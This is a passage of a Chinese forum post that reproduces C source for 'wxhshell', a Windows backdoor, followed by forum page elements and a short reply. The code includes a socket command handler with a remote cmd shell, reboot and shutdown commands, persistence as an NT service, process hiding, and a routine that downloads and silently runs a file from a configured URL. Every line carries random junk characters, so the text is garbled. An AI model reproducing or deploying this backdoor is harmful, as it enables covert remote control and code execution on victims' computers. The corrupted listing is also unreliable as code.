  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U|aEyMU  
  } {7` 1m!R  
  else { =&~ K;=:  
{ T<[-"h  
    switch(cmd[0]) { 2nCHL '8N  
  w|4CBll  
  // 帮助 4}Lui9  
  case '?': { e}(8BF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,l.+$G  
    break; 9%riB/vkrF  
  } ! 6R|  
  // 安装 k#Qjm9V  
  case 'i': { h?vny->uJ  
    if(Install()) Nw%^Gs<~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @\+UTkl8  
    else =%|f-x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \\C!{}+  
    break; U*XdFH}vV  
    } |W*2L] &  
  // 卸载 j$4lyDfD  
  case 'r': { SJE!14|e  
    if(Uninstall()) iH>b"H >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~k62  
    else JURg=r]LI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iF_u/#  
    break; Y oZd,} i  
    } C~PP}|<~V  
  // 显示 wxhshell 所在路径 O9RnS\  
  case 'p': { ry+|gCZ  
    char svExeFile[MAX_PATH]; _>^Y0C[?5  
    strcpy(svExeFile,"\n\r"); 4tSh.qBht  
      strcat(svExeFile,ExeFile); \w-3Spk*  
        send(wsh,svExeFile,strlen(svExeFile),0); oG-Eac,  
    break; pp2 Jy{\d  
    } TQOJN  
  // 重启 2}_^~8  
  case 'b': { Sg13Dp @x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5!jt^i]O  
    if(Boot(REBOOT)) 6=x]20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hMgk+4*  
    else { Fxn=+Xgg  
    closesocket(wsh); gx2v(1?S  
    ExitThread(0); D'Uc?2X,&  
    } CY"i|s  
    break; JB!*{{  
    } xXJzE|)1h!  
  // 关机 .~a8\6t  
  case 'd': { `W7;-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \*pS 4vy5x  
    if(Boot(SHUTDOWN)) ClufP6'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^c"\%!w"O  
    else { Psm9hP :m  
    closesocket(wsh); !Nbi&^k B  
    ExitThread(0); `.wgRUhFH;  
    } w1 A-_  
    break; }IQ![T5  
    }  [geT u  
  // 获取shell I]~s{I(EK  
  case 's': { ncpA\E;ff^  
    CmdShell(wsh); T,B%iZgCh  
    closesocket(wsh); iphdJZ/f  
    ExitThread(0); %v^qQWy=*  
    break; k"cKxzB  
  } G$~hAZ  
  // 退出 3Q,p,  
  case 'x': { kn WI7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i6i;{\tc  
    CloseIt(wsh); F |_mCwA  
    break; v'Up& /(  
    } z[JM ]Wy  
  // 离开 }( WUZ^L  
  case 'q': { 5UQ[vHMqI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OQDx82E  
    closesocket(wsh); fL gHQ  
    WSACleanup(); YT@N$kOg_  
    exit(1); ]ij:>O@{$  
    break; 5yp  
        } E.yc"|n7l2  
  } Ae<;b Of  
  } g}vU*g ;  
$:?=A5ttuo  
  // 提示信息 s3~6[T?8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N9z!-y'X  
} f&X M|Bg  
  } 0b2;  
l%`~aVGJ  
  return; !V/p.O  
} X4"[,:Tw  
*C> N  
// shell模块句柄 U"Z %_[*  
int CmdShell(SOCKET sock) `?T8NK  
{ lPz5.(5'  
STARTUPINFO si; =.9tRq  
ZeroMemory(&si,sizeof(si)); ^ .Q/iXgh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XsMETl"Av4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =I+5sCF{g  
PROCESS_INFORMATION ProcessInfo; RP wP4Z  
char cmdline[]="cmd"; X<H+Z2d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~>}7+p ?;  
  return 0; A^F0}MYT  
} +jp^  
PU\@^)$  
// 自身启动模式 ` $[`C/h  
int StartFromService(void) {dV!sQD  
{ <Q.-WV]Z  
typedef struct `=8G?3  
{ U9RpHh`  
  DWORD ExitStatus; jLBwPI_g  
  DWORD PebBaseAddress; o5NrDDH  
  DWORD AffinityMask; E8We2T[^M  
  DWORD BasePriority; K]i2$M  
  ULONG UniqueProcessId; '9 <APUyu  
  ULONG InheritedFromUniqueProcessId; ,q Bu5t  
}   PROCESS_BASIC_INFORMATION; uL@'Hv A  
$7\hszjZ  
PROCNTQSIP NtQueryInformationProcess; zx5t gZd,N  
m RtE~~p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uTP4r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y F W0  
%W$?*Tm  
  HANDLE             hProcess; ?^: xNRE$j  
  PROCESS_BASIC_INFORMATION pbi; `ln= D$  
pB,@<\l %  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iS28p  
  if(NULL == hInst ) return 0; }5ONDg(I~  
\Eyy^pb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !q*]_1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =/HTe&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pe7% 9  
q.RW_t~  
  if (!NtQueryInformationProcess) return 0; C6,W7M[c  
lb#`f,r>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,An*w_  
  if(!hProcess) return 0; v>mr  
|Oe$)(`|h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L|w}#|-  
MbC&u:@ "v  
  CloseHandle(hProcess); {7o|*M  
[2ZZPY9?Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HLDg_ On8  
if(hProcess==NULL) return 0; _l.kbfp@  
l@%7] 0!T  
HMODULE hMod; D,'@b+B[  
char procName[255]; C Eb .?B  
unsigned long cbNeeded; O7T wM Yh  
&k {1N.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yy8%vDdJO  
1)=sbFtS  
  CloseHandle(hProcess); {-\VX2:;[9  
XAc#ywophi  
if(strstr(procName,"services")) return 1; // 以服务启动 gUxJ>~  
[a1}r=6~  
  return 0; // 注册表启动 YPsuG -is  
} 81U(*6  
Nv_"?er+y  
// 主模块 <rFY$ ?x  
int StartWxhshell(LPSTR lpCmdLine) 2qUC@d<K  
{ >=Un=Q%  
  SOCKET wsl; g\ p;  
BOOL val=TRUE; eVbaxL!Q^  
  int port=0; X2p9KC  
  struct sockaddr_in door; rgg3{bU/  
'm+)n08[  
  if(wscfg.ws_autoins) Install(); *1;}c z  
[.`#N1-@M  
port=atoi(lpCmdLine); nA^UF_rD-  
B^uQv|m  
if(port<=0) port=wscfg.ws_port; \)vxZ!  
^ $t7p 1  
  WSADATA data; `;!v<@:i2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9l :Bum)9  
``mW\=fe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /8w _jjW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $ OMGo`z  
  door.sin_family = AF_INET; i<nUp1r(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @[4Tdf  
  door.sin_port = htons(port); )fz<n$3|$#  
CzZm C]5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (""1[XURQK  
closesocket(wsl); ~?n)1Vr|  
return 1; r$~ f[cA  
} <ib# PLRM  
kyc Z  
  if(listen(wsl,2) == INVALID_SOCKET) { f ^f{tOX  
closesocket(wsl); M&iA^Wrs  
return 1; T!N,1"r  
} nAJ<@a  
  Wxhshell(wsl); <<P& MObqj  
  WSACleanup(); "b"Q0"w  
0SBiMTm  
return 0; ?gMxGH:B.&  
"!6 Ax-'  
} 4#m"t?6!  
vxzOG?Xc:  
// 以NT服务方式启动 skn`Q>a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3yu{Q z5y,  
{ T=w5FT  
DWORD   status = 0; EV 8}C=  
  DWORD   specificError = 0xfffffff; D-BWgK  
^w XXx=Xf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VL/%D*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fK|F`F2V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *gC6yQ2?  
  serviceStatus.dwWin32ExitCode     = 0; 6A]Ia4PL  
  serviceStatus.dwServiceSpecificExitCode = 0; K?q1I<94  
  serviceStatus.dwCheckPoint       = 0; S 5Q$dAL  
  serviceStatus.dwWaitHint       = 0; {uRnZ/m  
YRYAQj/7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y&k6Xhuao  
  if (hServiceStatusHandle==0) return; \$Nx`d aFi  
iS^IqS  
status = GetLastError(); /CAi%UH,F  
  if (status!=NO_ERROR) .)>DFGb>H  
{ 1dF=BR8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KN;b+`x;M  
    serviceStatus.dwCheckPoint       = 0; hYW<4{Gjr  
    serviceStatus.dwWaitHint       = 0; OIa =$l43C  
    serviceStatus.dwWin32ExitCode     = status; =kUN ^hb  
    serviceStatus.dwServiceSpecificExitCode = specificError; b:nHcxDU<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i# 1:DiF  
    return; <5Jp2x#  
  } 0'm4 ) \  
WX} "Pj/6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 47xJ(yO  
  serviceStatus.dwCheckPoint       = 0; ~'e/lX9g-  
  serviceStatus.dwWaitHint       = 0; }F1|& A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0FF x  
} E{*~>#+  
<[2]p\rj  
// 处理NT服务事件,比如:启动、停止 eM*@zo<-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >*v^E9Y  
{ m1X0stFRs"  
switch(fdwControl) H1'`* }V  
{ ~bCn%r2  
case SERVICE_CONTROL_STOP: L "L@4 B  
  serviceStatus.dwWin32ExitCode = 0; n; 0bVVMV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3 n/U4fn_  
  serviceStatus.dwCheckPoint   = 0; 2!/_Xh  
  serviceStatus.dwWaitHint     = 0; ;9pOtr  
  { ~B%=g)w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H/p<lp  
  } \ qc 8;"@  
  return; 33_YZOy^j  
case SERVICE_CONTROL_PAUSE: 6<+R55  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Oc;0*v[I  
  break; /YWoDHL  
case SERVICE_CONTROL_CONTINUE: nl|}_~4U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m Kwhd} V  
  break; 9qe6hF/29  
case SERVICE_CONTROL_INTERROGATE: x)wIGo  
  break; XX5 ):1  
}; %Lexu)odW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 50oNN+; =R  
} UDHk@M  
rHu  #  
// 标准应用程序主函数 h1Ca9Z_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *s/sF@8<X  
{ ~l%Dcp  
t+k"$zR  
// 获取操作系统版本 #~54t0|Cd>  
OsIsNt=GetOsVer(); }*m:zD@8$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^IuHc_  
\eE0Rnaf-  
  // 从命令行安装 w8*+l0  
  if(strpbrk(lpCmdLine,"iI")) Install(); nn"!x|c  
nJF"[w,?  
  // 下载执行文件 wxARD3%  
if(wscfg.ws_downexe) { P.P3/,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !JjB,1  
  WinExec(wscfg.ws_filenam,SW_HIDE); C:g2E[#  
} P$Y< g/s 4  
c?Bi  
if(!OsIsNt) { FS r`Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 '+NmHu:q  
HideProc(); v9Oyboh(y  
StartWxhshell(lpCmdLine); 4^VY  
} ;8;nY6Ie  
else g6$X {  
  if(StartFromService()) *plsZ*Q8  
  // 以服务方式启动 *TA${$K  
  StartServiceCtrlDispatcher(DispatchTable); !m rB+<:  
else ~wIVw}  
  // 普通方式启动 ehI*cf({  
  StartWxhshell(lpCmdLine); Qw.""MLmN8  
dRyK'Xr  
return 0; 0O?B!Jr]RM  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五